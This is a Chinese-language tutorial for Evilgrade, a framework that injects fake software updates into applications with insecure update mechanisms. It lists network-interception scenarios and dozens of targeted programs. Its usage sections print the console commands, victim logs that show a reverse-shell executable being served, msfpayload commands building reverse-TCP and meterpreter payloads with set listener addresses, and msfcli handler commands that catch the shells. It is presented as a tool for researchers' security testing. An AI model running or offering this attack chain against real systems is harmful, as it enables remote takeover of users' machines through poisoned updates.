Evilgrade是一款功能強(qiáng)大的模塊化框架,該框架允許廣大研究人員通過向目標(biāo)應(yīng)用程序注入偽造的更新代碼,并利用存在安全問題的更新實(shí)現(xiàn)機(jī)制來測試目標(biāo)升級更新功能的安全性。該工具提供了預(yù)構(gòu)建的代理以及支持快速測試的默認(rèn)工作配置。
關(guān)于Evilgrade
Evilgrade是一款功能強(qiáng)大的模塊化框架,該框架允許廣大研究人員通過向目標(biāo)應(yīng)用程序注入偽造的更新代碼,并利用存在安全問題的更新實(shí)現(xiàn)機(jī)制來測試目標(biāo)升級更新功能的安全性。該工具提供了預(yù)構(gòu)建的代理以及支持快速測試的默認(rèn)工作配置。除此之外,該工具還擁有自己的WebServer和DNSServer模塊。
工具使用場景
內(nèi)部場景
1、內(nèi)部DNS訪問;
2、ARP欺騙;
3、DNS緩存投毒;
4、DHCP欺騙;
5、TCP劫持;
6、Wi-Fi訪問點(diǎn)偽造;
外部場景
1、內(nèi)部DNS訪問;
2、DNS緩存投毒;
實(shí)現(xiàn)的模塊
- Freerip 3.30
- Jet photo 4.7.2
- Teamviewer 5.1.9385
- ISOpen 4.5.0
- Istat.
- Gom 2.1.25.5015
- Atube catcher 1.0.300
- Vidbox 7.5
- Ccleaner 2.30.1130
- Fcleaner 1.2.9.409
- Allmynotes 1.26
- Notepad++ 5.8.2
- Java 1.6.0_22 winxp/win7
- aMSN 0.98.3
- Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
- Mirc 7.14
- Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)
- Dap 9.5.0.3
- Winscp 4.2.9
- AutoIt Script 3.3.6.1
- Clamwin 0.96.0.1
- AppTapp Installer 3.11 (Iphone/Itunes)
- getjar (facebook.com)
- Google Analytics Javascript injection
- Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
- Winamp 5.581
- TechTracker (cnet) 1.3.1 (Build 55)
- Nokiasoftware firmware update 2.4.8es
- Nokia firmware v20.2.011
- BSplayer 2.53.1034
- Apt ( < Ubuntu 10.04 LTS)
- Ubertwitter 4.6 (0.971)
- Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
- Cpan 1.9402
- VirtualBox (3.2.8 )
- Express talk
- Filezilla
- Flashget
- Miranda
- Orbit
- Photoscape.
- Panda Antirootkit
- Skype
- Sunbelt
- Superantispyware
- Trillian <= 5.0.0.26
- Adium 1.3.10 (Sparkle Framework)
- VMware
- ...
工具下載
廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:
git clone https://github.com/infobyte/evilgrade.git
工具使用
下面給出的是工具的幫助信息:
evilgrade>help
Type 'help command' for more detailed help on a command.
Commands:
configure - 配置模塊名稱
exit - 退出程序
help - 輸出工具幫助信息
reload - 重新加載并更新所有模塊
restart - 重啟Web服務(wù)器
set - 配置變量
show - 顯示對象信息
start - 開啟Web服務(wù)器
status - 獲取Web服務(wù)器窗臺(tái)
stop - 停止Web服務(wù)器
version - 顯示框架版本
Object:
options - 顯示當(dāng)前模塊的選項(xiàng)
vhosts - 顯示當(dāng)前模塊的VirtualHosts
modules - 列舉所有可用的模塊
active - 顯示活動(dòng)模塊
列舉實(shí)現(xiàn)的模塊:
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
配置指定模塊:
evilgrade>conf sunjava
evilgrade(sunjava)>
開啟服務(wù)(DNS服務(wù)器和WebServer):
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
顯示狀態(tài)和日志:
evilgrade>show status
Webserver (pid 4134) already running
Users status:
============
.---------------------------------------------------------------------------------------------------------------.
| Client | Module | Status | Md5,Cmd,File |
+----------------+------------------+--------+------------------------------------------------------------------+
| 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" |
'----------------+------------------+--------+------------------------------------------------------------------'
工具高級使用
使用場景一
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
在這種情況下,對于每個(gè)所需的更新二進(jìn)制文件,我們都可以使用 "windows/shell_reverse_tcp"這個(gè)Payload來生成偽造的更新代碼,同時(shí)使用一個(gè)反向Shell連接到192.168.233.2:4141。<%OUT%><%OUT>標(biāo)簽專門來檢測輸出二進(jìn)制文件的生成位置。
比如說,如果我們運(yùn)行下列命令:
evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
那么每當(dāng)我們收到一個(gè)二進(jìn)制請求時(shí),Evilgrade將編譯該行并執(zhí)行最終字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。
使用場景二
在Evilgrade外運(yùn)行:
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
在Evilgrade內(nèi)運(yùn)行:
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
生成好Payload之后,我們將得到多個(gè)處理器Handler來監(jiān)聽之前分配的LHOST:
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...
項(xiàng)目地址
Evilgrade:【GitHub傳送門】
參考資料
http://www.faradaysec.com/